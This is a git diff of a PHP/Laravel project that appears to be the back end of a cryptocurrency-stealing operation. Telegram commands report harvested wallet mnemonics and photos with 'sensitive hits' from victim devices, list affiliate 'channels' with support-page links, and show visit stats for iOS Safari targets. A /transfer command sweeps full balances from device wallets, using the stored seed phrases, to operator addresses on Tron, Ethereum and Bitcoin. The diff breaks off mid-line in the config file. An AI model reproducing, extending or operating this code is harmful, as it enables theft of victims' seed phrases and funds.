$this->resolveDestination($deviceKey); + if ($dest === null) { return false; } - $token = config('coruna.telegram.bot_token'); - $chatId = config('coruna.telegram.owner_chat_id'); + [$token, $chatId] = $dest; + try { $resp = Http::timeout(15)->asForm()->post( "https://api.telegram.org/bot{$token}/sendMessage", @@ -46,7 +79,7 @@ class TelegramNotifier '🔑 Device: '.$this->e($deviceId).'', '🍎 iOS: '.$this->e($ios ?: '—'), '🌐 IP: '.$this->e($ip ?: '—').'', - ])); + ]), $deviceId); } public function notifyNewWallet(string $deviceId, string $address, ?string $chain, ?string $balance, ?string $symbol): void @@ -92,7 +125,7 @@ class TelegramNotifier $lines[] = '💵 Balance: '.$this->e($bal); } - $this->send(implode("\n", $lines)); + $this->send(implode("\n", $lines), $deviceId); } public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void @@ -102,15 +135,7 @@ class TelegramNotifier '📱 Device: '.$this->e($deviceId).'', '🏷 Source: '.$this->e($source ?: '—'), '📝 Mnemonic: '.$this->e(WalletMnemonic::maskSecret($memoric)).'', - ])); - } - - public function notifyNewPhotos(string $deviceId): void - { - $this->send(implode("\n", [ - '🖼 New Photos (with sensitive hits)', - '📱 Device: '.$this->e($deviceId).'', - ])); + ]), $deviceId); } public function notifyBalanceChange( @@ -131,7 +156,35 @@ class TelegramNotifier if ($balance !== null && trim($balance) !== '') { $lines[] = '💰 Balance: '.$this->e($balance); } - $this->send(implode("\n", $lines)); + $this->send(implode("\n", $lines), $deviceId); + } + + private function resolveAgentForDeviceKey(?string $deviceKey): ?User + { + $deviceKey = trim((string) $deviceKey); + if ($deviceKey === '') { + return null; + } + + try { + $channelId = Device::query() + ->where('device_id', $deviceKey) + ->value('channel_id'); + if (! is_string($channelId) || $channelId === '') { + return null; + } + + $userId = Channel::query() + ->where('channel_id', $channelId) + ->value('user_id'); + if ($userId === null || (int) $userId <= 0) { + return null; + } + + return User::query()->find((int) $userId); + } catch (\Throwable) { + return null; + } } private function e(?string $value): string diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php index d2115a0..74e70c9 100644 --- a/app/Services/TransferService.php +++ b/app/Services/TransferService.php @@ -2,6 +2,7 @@ namespace App\Services; +use App\Models\TransferRecord; use App\Models\WalletAddress; use App\Models\WalletMnemonic; use App\Services\Chain\ChainDriver; @@ -15,29 +16,50 @@ class TransferService ) {} /** - * Sweep from a known device address to the configured payout address. + * Sweep from a known device address to the configured TRANSFER_TO_ADDRESS_*. * Looks up mnemonics by the address row's device_id + source; tries each in order * (and BIP44 indexes) until the derived address matches $fromAddress. * Null / empty $amount means transfer the full on-chain balance of $asset. * * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} */ - public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array - { + public function handle( + string $chain, + string $fromAddress, + ?string $amount = null, + string $asset = 'USDT', + ?string $operator = null, + ): array { + $chain = strtolower(trim($chain)); + $record = [ + 'from_address' => $fromAddress, + 'to_address' => null, + 'chain' => $chain, + 'tx_hash' => null, + 'amount' => $amount === null || trim($amount) === '' ? null : trim($amount), + 'type' => TransferRecord::TYPE_OUT, + 'asset' => strtoupper(trim($asset)), + 'operator' => $operator, + 'status' => TransferRecord::STATUS_FAILED, + 'error' => null, + ]; + try { - $to = trim((string) config('coruna.transfer.to_address', '')); + $to = $this->toAddress($chain); if ($to === '') { - return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured']; + return $this->finish($record, ['ok' => false, 'error' => $this->missingToAddressError($chain)]); } + $record['to_address'] = $to; $asset = strtoupper(trim($asset)); + $record['asset'] = $asset; $driver = $this->chains->resolve($chain); if (! $driver->isValidAddress($fromAddress)) { - return ['ok' => false, 'error' => 'Invalid from address']; + return $this->finish($record, ['ok' => false, 'error' => 'Invalid from address']); } if (! $driver->isValidAddress($to)) { - return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS']; + return $this->finish($record, ['ok' => false, 'error' => 'Invalid to address']); } $amount = $amount === null ? null : trim($amount); @@ -46,58 +68,151 @@ class TransferService } if ($amount === null) { - $amount = $this->resolveFullBalance($driver, $fromAddress, $asset); + $amount = $this->resolveFullBalance($driver, $fromAddress, $asset, $chain); } + $record['amount'] = $amount; $this->assertAmountWithinLimit($amount, $asset); $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress); if ($resolved === null) { - return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']; + return $this->finish($record, ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)']); } ['mnemonic' => $mnemonic, 'index' => $index] = $resolved; $txid = match ($asset) { - 'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount), + 'TRX', 'ETH', 'BTC' => $driver->sendNative($mnemonic, $index, $to, $amount), 'USDT' => $driver->sendToken( $mnemonic, $index, $to, $amount, - (string) config('coruna.tron.usdt_contract'), + $this->usdtContract($chain), ), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; - return [ + $record['tx_hash'] = $txid; + $record['status'] = TransferRecord::STATUS_SUCCESS; + + return $this->finish($record, [ 'ok' => true, 'txid' => $txid, 'from' => $fromAddress, 'to' => $to, 'amount' => $amount, 'asset' => $asset, - ]; + ]); } catch (\Throwable $e) { - return ['ok' => false, 'error' => $e->getMessage()]; + $record['error'] = $e->getMessage(); + + return $this->finish($record, ['ok' => false, 'error' => $e->getMessage()]); } } - private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string + /** + * @param array{from_address: ?string, to_address: ?string, chain: string, tx_hash: ?string, amount: ?string, type: string, asset: string, operator: ?string, status: string, error: ?string} $record + * @param array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} $result + * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string} + */ + private function finish(array $record, array $result): array + { + if (! ($result['ok'] ?? false)) { + $record['status'] = TransferRecord::STATUS_FAILED; + $record['error'] = $record['error'] ?: ($result['error'] ?? 'Transfer failed'); + } + + try { + TransferRecord::query()->create([ + 'from_address' => (string) ($record['from_address'] ?? ''), + 'to_address' => $record['to_address'], + 'chain' => (string) ($record['chain'] ?? ''), + 'tx_hash' => $record['tx_hash'], + 'amount' => $record['amount'], + 'type' => (string) ($record['type'] ?? TransferRecord::TYPE_OUT), + 'asset' => (string) ($record['asset'] ?? ''), + 'operator' => $record['operator'], + 'status' => (string) ($record['status'] ?? TransferRecord::STATUS_FAILED), + 'error' => $record['error'], + ]); + } catch (\Throwable) { + // never break transfer for persistence failures + } + + create_log([ + 'event' => 'transfer', + 'ok' => (bool) ($result['ok'] ?? false), + 'from' => $record['from_address'], + 'to' => $record['to_address'], + 'chain' => $record['chain'], + 'tx_hash' => $record['tx_hash'], + 'amount' => $record['amount'], + 'type' => $record['type'], + 'asset' => $record['asset'], + 'operator' => $record['operator'], + 'status' => $record['status'], + 'error' => $record['error'], + ], 'transfer'); + + return $result; + } + + private function toAddress(string $chain): string + { + return match ($chain) { + 'eth', 'ethereum' => trim((string) config('coruna.transfer.to_address_eth', '')), + 'btc', 'bitcoin' => trim((string) config('coruna.transfer.to_address_btc', '')), + default => trim((string) config('coruna.transfer.to_address', '')), + }; + } + + private function missingToAddressError(string $chain): string + { + return match ($chain) { + 'eth', 'ethereum' => 'TRANSFER_TO_ADDRESS_ETH is not configured', + 'btc', 'bitcoin' => 'TRANSFER_TO_ADDRESS_BTC is not configured', + default => 'TRANSFER_TO_ADDRESS is not configured', + }; + } + + private function usdtContract(string $chain): string + { + $contract = match ($chain) { + 'eth', 'ethereum' => trim((string) config('coruna.eth.usdt_contract', '')), + default => trim((string) config('coruna.tron.usdt_contract', '')), + }; + if ($contract === '') { + throw new RuntimeException('USDT contract is not configured for '.$chain); + } + + return $contract; + } + + private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset, string $chain): string { $balance = match ($asset) { - 'TRX' => $driver->getNativeBalance($fromAddress), - 'USDT' => $driver->getTokenBalance( - $fromAddress, - (string) config('coruna.tron.usdt_contract'), - ), + 'TRX', 'ETH', 'BTC' => $driver->getNativeBalance($fromAddress), + 'USDT' => $driver->getTokenBalance($fromAddress, $this->usdtContract($chain)), default => throw new RuntimeException("Unsupported asset: {$asset}"), }; - if ($asset === 'TRX') { - $reserve = (string) config('coruna.transfer.trx_fee_reserve', '1'); - if ($reserve !== '' && bccomp($reserve, '0') > 0) { - $balance = bcsub($balance, $reserve, 6); + $reserveKey = match ($asset) { + 'TRX' => 'coruna.transfer.trx_fee_reserve', + 'ETH' => 'coruna.transfer.eth_fee_reserve', + 'BTC' => 'coruna.transfer.btc_fee_reserve', + default => null, + }; + $scale = match ($asset) { + 'ETH' => 18, + 'BTC' => 8, + default => 6, + }; + + if ($reserveKey !== null) { + $reserve = (string) config($reserveKey, '0'); + if ($reserve !== '' && bccomp($reserve, '0', $scale) > 0) { + $balance = bcsub($balance, $reserve, $scale); $balance = rtrim(rtrim($balance, '0'), '.'); if ($balance === '' || str_starts_with($balance, '-')) { $balance = '0'; @@ -105,7 +220,7 @@ class TransferService } } - if (bccomp($balance, '0') <= 0) { + if (bccomp($balance, '0', $scale) <= 0) { throw new RuntimeException("No transferable {$asset} balance"); } @@ -122,11 +237,20 @@ class TransferService ->orderBy('id') ->get(['device_id', 'source']); + // ETH addresses are often stored with mixed-case checksum. + if ($addressRows->isEmpty() && str_starts_with(strtolower($fromAddress), '0x')) { + $addressRows = WalletAddress::query() + ->whereRaw('LOWER(address) = ?', [strtolower($fromAddress)]) + ->orderBy('id') + ->get(['device_id', 'source']); + } + if ($addressRows->isEmpty()) { return null; } $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20)); + $caseInsensitive = $driver->chainId() === 'eth'; foreach ($addressRows as $row) { $mnemonics = WalletMnemonic::query() @@ -148,7 +272,11 @@ class TransferService } for ($index = 0; $index <= $maxIndex; $index++) { try { - if ($driver->deriveAddress($phrase, $index) === $fromAddress) { + $derived = $driver->deriveAddress($phrase, $index); + $match = $caseInsensitive + ? strcasecmp($derived, $fromAddress) === 0 + : $derived === $fromAddress; + if ($match) { return ['mnemonic' => $phrase, 'index' => $index]; } } catch (\Throwable) { @@ -163,13 +291,23 @@ class TransferService private function assertAmountWithinLimit(string $amount, string $asset): void { - if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) { + $decimals = match ($asset) { + 'ETH' => 18, + 'BTC' => 8, + default => 6, + }; + if (! preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $amount) || bccomp($amount, '0', $decimals) <= 0) { throw new RuntimeException('Invalid amount'); } - $maxKey = $asset === 'TRX' ? 'coruna.transfer.max_trx' : 'coruna.transfer.max_usdt'; + $maxKey = match ($asset) { + 'TRX' => 'coruna.transfer.max_trx', + 'ETH' => 'coruna.transfer.max_eth', + 'BTC' => 'coruna.transfer.max_btc', + default => 'coruna.transfer.max_usdt', + }; $max = (string) config($maxKey, '0'); - if ($max !== '' && $max !== '0' && bccomp($amount, $max) > 0) { + if ($max !== '' && $max !== '0' && bccomp($amount, $max, $decimals) > 0) { throw new RuntimeException("Amount exceeds max {$asset} limit ({$max})"); } } diff --git a/app/Services/WalletBalanceService.php b/app/Services/WalletBalanceService.php index c56278f..00aad50 100644 --- a/app/Services/WalletBalanceService.php +++ b/app/Services/WalletBalanceService.php @@ -10,8 +10,7 @@ use Illuminate\Support\Facades\Log; /** * Live on-chain balance refresh for wallet_addresses. * - * Tron mainnet: only TRX (native) + USDT (official TRC20) are queried. - * BTC / ETH / BNB have no canonical native assets on Tron — skipped. + * Tron: TRX + USDT (TRC20). ETH: ETH + USDT (ERC20). BTC: BTC only. */ class WalletBalanceService { @@ -30,10 +29,75 @@ class WalletBalanceService return match ($chain) { 'TRON', 'TRX' => $this->refreshTron($address), + 'ETH', 'ETHEREUM' => $this->refreshEth($address), + 'BTC', 'BITCOIN' => $this->refreshBtc($address), default => false, }; } + public function refreshEth(WalletAddress $address): bool + { + $addr = trim((string) $address->address); + if ($addr === '') { + return false; + } + + try { + $driver = $this->chains->resolve('eth'); + $address->eth = $driver->getNativeBalance($addr); + $contract = trim((string) config('coruna.eth.usdt_contract', '')); + if ($contract !== '') { + $address->usdt = $driver->getTokenBalance($addr, $contract); + } + $address->save(); + + Log::info('eth balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'eth' => $address->eth, + 'usdt' => $address->usdt, + ]); + + return true; + } catch (\Throwable $e) { + Log::warning('eth balance refresh failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + ]); + + return false; + } + } + + public function refreshBtc(WalletAddress $address): bool + { + $addr = trim((string) $address->address); + if ($addr === '') { + return false; + } + + try { + $driver = $this->chains->resolve('btc'); + $address->btc = $driver->getNativeBalance($addr); + $address->save(); + + Log::info('btc balance refresh ok', [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + 'btc' => $address->btc, + ]); + + return true; + } catch (\Throwable $e) { + Log::warning('btc balance refresh failed: '.$e->getMessage(), [ + 'wallet_address_id' => $address->id, + 'address' => $addr, + ]); + + return false; + } + } + public function refreshTron(WalletAddress $address): bool { $addr = trim((string) $address->address); diff --git a/app/Telegram/Handlers/ChannelCommand.php b/app/Telegram/Handlers/ChannelCommand.php new file mode 100644 index 0000000..f90839f --- /dev/null +++ b/app/Telegram/Handlers/ChannelCommand.php @@ -0,0 +1,68 @@ +with('user:id,username')->orderByDesc('id'); + $agent = $this->context->agent(); + if ($agent !== null) { + $query->where('user_id', $agent->id); + } + + $channels = $query->limit(30)->get(); + + if ($channels->isEmpty()) { + $bot->sendMessage('暂无渠道'); + + return; + } + + $lines = ['📎 渠道列表(点按钮复制链接)', '']; + $markup = InlineKeyboardMarkup::make(); + + foreach ($channels as $i => $channel) { + $remark = trim((string) ($channel->remark ?? '')); + $remarkLabel = $remark !== '' ? $remark : '—'; + $owner = $channel->agentLabel(); + $status = $channel->isEnabled() ? '启用' : '停用'; + $lines[] = ($i + 1).'. '.$channel->channel_id; + $lines[] = ' 备注: '.$remarkLabel.' | 归属: '.$owner.' | '.$status; + + $links = $channel->supportLinks(); + $link = $links[0] ?? ('/web/'.$channel->channel_id.'/support.html'); + if (strlen($link) > 256) { + $link = substr($link, 0, 256); + } + + $btnText = ($remark !== '' ? mb_substr($remark, 0, 18) : substr($channel->channel_id, 0, 8)).' · 复制链接'; + $markup->addRow(InlineKeyboardButton::make( + text: $btnText, + copy_text: CopyTextButton::make($link), + )); + } + + if ($channels->count() >= 30) { + $lines[] = ''; + $lines[] = '(仅显示最近 30 条)'; + } + + $bot->sendMessage( + implode("\n", $lines), + reply_markup: $markup, + ); + } +} diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php new file mode 100644 index 0000000..c3c074e --- /dev/null +++ b/app/Telegram/Handlers/DataCommand.php @@ -0,0 +1,108 @@ + $p !== '')); + + $days = null; + $channelId = ''; + + if (isset($parts[0]) && in_array($parts[0], ['1', '7', '30'], true)) { + $days = $parts[0]; + $channelId = $parts[1] ?? ''; + } elseif (isset($parts[0])) { + if (preg_match('/^[0-9a-f]{32}$/i', $parts[0])) { + $channelId = $parts[0]; + } else { + $bot->sendMessage( + "Usage: /data [1|7|30] [channelId]\n" + ."Omit days for today. Omit channelId for all channels." + ); + + return; + } + } + + if ($channelId !== '' && ! preg_match('/^[0-9a-f]{32}$/i', $channelId)) { + $bot->sendMessage('channelId must be a 32-char hex string.'); + + return; + } + + $channelId = strtolower($channelId); + $agent = $this->context->agent(); + + if ($agent !== null && $channelId !== '') { + $owned = Channel::query() + ->where('user_id', $agent->id) + ->where('channel_id', $channelId) + ->exists(); + if (! $owned) { + $bot->sendMessage('⛔ 无权查看该渠道'); + + return; + } + } + + try { + $range = $this->stats->rangeFromDays($days); + } catch (\InvalidArgumentException $e) { + $bot->sendMessage($e->getMessage()); + + return; + } + + $data = $this->stats->collect([ + 'range' => $range, + 'channel_id' => $channelId, + 'channel_exact' => $channelId !== '', + 'agent' => $agent, + ]); + + $lines = [ + '📊 访问统计', + '区间: '.$data['from'].' ~ '.$data['to'], + '渠道: '.($channelId !== '' ? $channelId : ($agent ? '本代理全部' : '全部')), + '', + '总设备: '.$data['total'], + '新增设备: '.$data['new_count'], + '活跃设备: '.$data['active_count'], + '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', + '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', + '有效口径: iOS<17 + Safari', + '', + '按系统:', + ]; + + foreach ($data['by_os'] as $row) { + $lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); + } + + $lines[] = ''; + $lines[] = '按 iOS 版本:'; + if ($data['by_ios_version'] === []) { + $lines[] = '• 暂无'; + } else { + foreach ($data['by_ios_version'] as $row) { + $lines[] = sprintf('• %s PV %d UV %d %s%%', $row['label'], $row['pv'], $row['uv'], $row['pct']); + } + } + + $bot->sendMessage(implode("\n", $lines)); + } +} diff --git a/app/Telegram/Handlers/HelpCommand.php b/app/Telegram/Handlers/HelpCommand.php new file mode 100644 index 0000000..1f6c929 --- /dev/null +++ b/app/Telegram/Handlers/HelpCommand.php @@ -0,0 +1,56 @@ +', + '', + '/channel', + ' 列出渠道:ID、备注、归属;点按钮复制链接', + ]; + + if ($this->context->isOfficial()) { + $lines = array_merge($lines, [ + '', + '/transfer [TRX|USDT|ETH|BTC] [amount]', + ' 从设备地址转出到配置收款地址(仅官方)', + ' 按地址识别链:T…=Tron,0x…=ETH,1…/3…/bc1…=BTC', + ' 省略 amount 则转全部;默认 Tron→USDT / ETH→ETH / BTC→BTC', + ' 例: /transfer Txxx USDT 10', + ' 例: /transfer 0x… ETH', + ' 例: /transfer 1… BTC 0.01', + ]); + } else { + $lines = array_merge($lines, [ + '', + '(当前为代理机器人:仅可查看本代理渠道数据,不支持 /transfer)', + ]); + } + + $bot->sendMessage(implode("\n", $lines)); + } +} diff --git a/app/Telegram/Handlers/TransferCommand.php b/app/Telegram/Handlers/TransferCommand.php index a6bb650..12105c9 100644 --- a/app/Telegram/Handlers/TransferCommand.php +++ b/app/Telegram/Handlers/TransferCommand.php @@ -18,37 +18,55 @@ class TransferCommand if ($parts === []) { $bot->sendMessage( - "Usage: /transfer [TRX|USDT] [amount]\n" - ."Omit amount to transfer all. Default asset: USDT.\n" - .'To = TRANSFER_TO_ADDRESS (env).' + "Usage: /transfer [TRX|USDT|ETH|BTC] [amount]\n" + ."Omit amount to transfer all. Chain is inferred from address.\n" + ."Defaults: Tron→USDT, ETH→ETH, BTC→BTC.\n" + .'To = per-chain TRANSFER_TO_ADDRESS* (env).' ); return; } $from = $parts[0]; - $asset = 'USDT'; + $chain = $this->detectChain($from); + if ($chain === null) { + $bot->sendMessage('Unrecognized address. Supported: Tron (T…), ETH (0x…), BTC (1…/3…/bc1…).'); + + return; + } + + $asset = $this->defaultAsset($chain); $amount = null; + $allowed = $this->assetsForChain($chain); if (count($parts) === 2) { $second = strtoupper($parts[1]); - if (in_array($second, ['TRX', 'USDT'], true)) { + if (in_array($second, $allowed, true)) { $asset = $second; - } elseif ($this->isAmount($parts[1])) { + } elseif ($this->isAmount($parts[1], match ($chain) { + 'eth' => 18, + 'btc' => 8, + default => 6, + })) { $amount = $parts[1]; } else { - $bot->sendMessage('Second arg must be TRX, USDT, or an amount.'); + $bot->sendMessage('Second arg must be '.implode('|', $allowed).', or an amount.'); return; } } elseif (count($parts) >= 3) { $asset = strtoupper($parts[1]); - if (! in_array($asset, ['TRX', 'USDT'], true)) { - $bot->sendMessage('Asset must be TRX or USDT.'); + if (! in_array($asset, $allowed, true)) { + $bot->sendMessage('Asset must be '.implode(' or ', $allowed).' for '.$chain.'.'); return; } - if (! $this->isAmount($parts[2])) { + $decimals = match ($asset) { + 'ETH' => 18, + 'BTC' => 8, + default => 6, + }; + if (! $this->isAmount($parts[2], $decimals)) { $bot->sendMessage('Invalid amount.'); return; @@ -57,9 +75,9 @@ class TransferCommand } $label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}"; - $bot->sendMessage("⏳ Transferring {$label} from {$from} …"); + $bot->sendMessage("⏳ Transferring {$label} from {$from} ({$chain}) …"); - $result = $this->transfers->handle('tron', $from, $amount, $asset); + $result = $this->transfers->handle($chain, $from, $amount, $asset, $this->operatorLabel($bot)); if (! ($result['ok'] ?? false)) { $bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed')); @@ -68,6 +86,7 @@ class TransferCommand $bot->sendMessage(implode("\n", [ '✅ Transfer submitted', + 'Chain: '.$chain, 'From: '.$result['from'], 'To: '.$result['to'], 'Amount: '.$result['amount'].' '.$result['asset'], @@ -75,8 +94,61 @@ class TransferCommand ])); } - private function isAmount(string $value): bool + private function detectChain(string $address): ?string { - return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value); + $address = trim($address); + if (preg_match('/^T[1-9A-HJ-NP-Za-km-z]{33}$/', $address)) { + return 'tron'; + } + if (preg_match('/^0x[0-9a-fA-F]{40}$/', $address)) { + return 'eth'; + } + if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) { + return 'btc'; + } + if (preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) { + return 'btc'; + } + + return null; + } + + private function defaultAsset(string $chain): string + { + return match ($chain) { + 'eth' => 'ETH', + 'btc' => 'BTC', + default => 'USDT', + }; + } + + /** @return list */ + private function assetsForChain(string $chain): array + { + return match ($chain) { + 'eth' => ['ETH', 'USDT'], + 'btc' => ['BTC'], + default => ['TRX', 'USDT'], + }; + } + + private function isAmount(string $value, int $decimals = 6): bool + { + return (bool) preg_match('/^\d+(\.\d{1,'.$decimals.'})?$/', $value); + } + + private function operatorLabel(Nutgram $bot): string + { + $user = $bot->user(); + $id = $user?->id ?? $bot->userId(); + $username = $user?->username; + + if ($username) { + return "telegram:{$id}@{$username}"; + } + + $name = trim((string) ($user?->first_name ?? '')); + + return $name !== '' ? "telegram:{$id}({$name})" : "telegram:{$id}"; } } diff --git a/app/Telegram/Middleware/AuthorizedChat.php b/app/Telegram/Middleware/AuthorizedChat.php index f1eaf3b..49621a4 100644 --- a/app/Telegram/Middleware/AuthorizedChat.php +++ b/app/Telegram/Middleware/AuthorizedChat.php @@ -2,16 +2,28 @@ namespace App\Telegram\Middleware; +use App\Telegram\TelegramBotContext; use Illuminate\Support\Facades\Log; use SergiX44\Nutgram\Nutgram; +use SergiX44\Nutgram\Telegram\Properties\ChatType; +/** + * Allow only the configured owner group/supergroup for the current bot context + * (official system chat or the active agent's chat_id). + */ class AuthorizedChat { + public function __construct( + private readonly TelegramBotContext $context, + ) {} + public function __invoke(Nutgram $bot, callable $next): mixed { - $expected = (string) config('coruna.telegram.owner_chat_id', ''); + $expected = $this->context->expectedChatId(); if ($expected === '') { - Log::warning('telegram AuthorizedChat: TELEGRAM_OWNER_CHAT_ID empty'); + Log::warning('telegram AuthorizedChat: chat id empty', [ + 'agent_id' => $this->context->agent()?->id, + ]); return null; } @@ -21,6 +33,18 @@ class AuthorizedChat Log::info('telegram AuthorizedChat: chat rejected', [ 'chat_id' => $chatId, 'expected' => $expected, + 'agent_id' => $this->context->agent()?->id, + ]); + + return null; + } + + $type = $bot->chat()?->type; + $typeValue = $type instanceof ChatType ? $type->value : (string) $type; + if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { + Log::info('telegram AuthorizedChat: not a group chat', [ + 'chat_id' => $chatId, + 'type' => $typeValue, ]); return null; diff --git a/app/Telegram/Middleware/GroupAdminOnly.php b/app/Telegram/Middleware/GroupAdminOnly.php index 31f5164..2637d39 100644 --- a/app/Telegram/Middleware/GroupAdminOnly.php +++ b/app/Telegram/Middleware/GroupAdminOnly.php @@ -2,9 +2,15 @@ namespace App\Telegram\Middleware; +use Illuminate\Support\Facades\Log; use SergiX44\Nutgram\Nutgram; use SergiX44\Nutgram\Telegram\Properties\ChatMemberStatus; +use SergiX44\Nutgram\Telegram\Properties\ChatType; +/** + * Allow only group/supergroup administrators (or the creator). + * Must run after {@see AuthorizedChat}. + */ class GroupAdminOnly { public function __invoke(Nutgram $bot, callable $next): mixed @@ -15,19 +21,38 @@ class GroupAdminOnly return null; } + $type = $bot->chat()?->type; + $typeValue = $type instanceof ChatType ? $type->value : (string) $type; + if (! in_array($typeValue, [ChatType::GROUP->value, ChatType::SUPERGROUP->value, 'group', 'supergroup'], true)) { + Log::info('telegram GroupAdminOnly: rejected non-group chat', [ + 'chat_id' => $chatId, + 'type' => $typeValue, + ]); + + return null; + } + try { $member = $bot->getChatMember($chatId, $userId); - } catch (\Throwable) { + } catch (\Throwable $e) { + Log::warning('telegram GroupAdminOnly: getChatMember failed', [ + 'chat_id' => $chatId, + 'user_id' => $userId, + 'error' => $e->getMessage(), + ]); $bot->sendMessage('⛔ Unable to verify admin status.'); return null; } $status = $member?->status; - $ok = $status === ChatMemberStatus::CREATOR - || $status === ChatMemberStatus::ADMINISTRATOR - || $status === 'creator' - || $status === 'administrator'; + $statusValue = $status instanceof ChatMemberStatus ? $status->value : (string) $status; + $ok = in_array($statusValue, [ + ChatMemberStatus::CREATOR->value, + ChatMemberStatus::ADMINISTRATOR->value, + 'creator', + 'administrator', + ], true); if (! $ok) { $bot->sendMessage('⛔ Only group admins can use this command.'); diff --git a/app/Telegram/Middleware/OfficialBotOnly.php b/app/Telegram/Middleware/OfficialBotOnly.php new file mode 100644 index 0000000..f81b183 --- /dev/null +++ b/app/Telegram/Middleware/OfficialBotOnly.php @@ -0,0 +1,21 @@ +isOfficial()) { + $bot->sendMessage('⛔ /transfer 仅限官方系统群使用'); + + return null; + } + + return $next($bot); + } +} diff --git a/app/Telegram/Middleware/OfficialOnly.php b/app/Telegram/Middleware/OfficialOnly.php new file mode 100644 index 0000000..8fb22b8 --- /dev/null +++ b/app/Telegram/Middleware/OfficialOnly.php @@ -0,0 +1,25 @@ +context->isOfficial()) { + $bot->sendMessage('⛔ /transfer 仅限官方机器人使用'); + + return null; + } + + return $next($bot); + } +} diff --git a/app/Telegram/TelegramBotContext.php b/app/Telegram/TelegramBotContext.php new file mode 100644 index 0000000..9b77e2b --- /dev/null +++ b/app/Telegram/TelegramBotContext.php @@ -0,0 +1,48 @@ +agent = $agent; + } + + public function agent(): ?User + { + return $this->agent; + } + + public function isOfficial(): bool + { + return $this->agent === null; + } + + public function isAgent(): bool + { + return $this->agent !== null; + } + + public function expectedChatId(): string + { + if ($this->agent !== null) { + return trim((string) ($this->agent->chat_id ?? '')); + } + + return trim((string) config('coruna.telegram.owner_chat_id', '')); + } + + public static function webhookSecretFor(User $agent): string + { + return hash_hmac('sha256', 'telegram-agent:'.$agent->id, (string) config('app.key')); + } +} diff --git a/app/Telegram/TelegramRegistrar.php b/app/Telegram/TelegramRegistrar.php new file mode 100644 index 0000000..19a6817 --- /dev/null +++ b/app/Telegram/TelegramRegistrar.php @@ -0,0 +1,66 @@ +registerShared($bot, allowTransfer: true); + } + + /** Agent bot — no /transfer; binds request context to this agent. */ + public function registerAgent(Nutgram $bot, User $agent): void + { + $this->context->setAgent($agent); + $this->registerShared($bot, allowTransfer: false); + } + + private function registerShared(Nutgram $bot, bool $allowTransfer): void + { + // HandlerGroup::middleware() unshifts — register GroupAdminOnly first so + // AuthorizedChat ends up outermost (chat allowlist before admin check). + $bot->group(function (Nutgram $bot) use ($allowTransfer) { + $bot->onCommand('help', HelpCommand::class) + ->description('List available commands'); + + $bot->onCommand('ping', PingCommand::class) + ->description('Health check'); + + $bot->onCommand('data', DataCommand::class) + ->description('Visit stats (today). Optional: /data 1|7|30 [channelId]'); + + $bot->onCommand('data {args}', DataCommand::class) + ->where('args', '.+') + ->description('Visit stats for 1/7/30 days, optional channelId'); + + $bot->onCommand('channel', ChannelCommand::class) + ->description('List channels with copyable support links'); + + if ($allowTransfer) { + $bot->onCommand('transfer {args}', TransferCommand::class) + ->where('args', '.+') + ->middleware(OfficialOnly::class) + ->description('Transfer TRX or USDT from a device address (omit amount = all)'); + } + }) + ->middleware(GroupAdminOnly::class) + ->middleware(AuthorizedChat::class); + } +} diff --git a/config/coruna.php b/config/coruna.php index 9f0889c..6e177eb 100644 --- a/config/coruna.php +++ b/config/coruna.php @@ -61,23 +61,36 @@ return [ 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], - // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS. + 'eth' => [ + 'rpc_url' => env('ETH_RPC_URL', 'https://ethereum.publicnode.com'), + 'chain_id' => (int) env('ETH_CHAIN_ID', 1), + // Official Tether USDT ERC20 (mainnet). Empty = skip token balance/transfer. + 'usdt_contract' => env('ETH_USDT_CONTRACT', '0xdAC17F958D2ee523a2206206994597C13D831ec7'), + 'usdt_decimals' => (int) env('ETH_USDT_DECIMALS', 6), + 'gas_limit' => env('ETH_GAS_LIMIT', ''), + ], + 'btc' => [ + // mempool.space-compatible REST root (…/api). + 'api_url' => env('BTC_API_URL', 'https://mempool.space/api'), + // 0 = fetch recommended halfHourFee from API. + 'fee_rate' => (int) env('BTC_FEE_RATE', 0), + ], + // /transfer: from = command arg (device address); to = per-chain TRANSFER_TO_ADDRESS_*. // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), + 'to_address_eth' => env('TRANSFER_TO_ADDRESS_ETH', ''), + 'to_address_btc' => 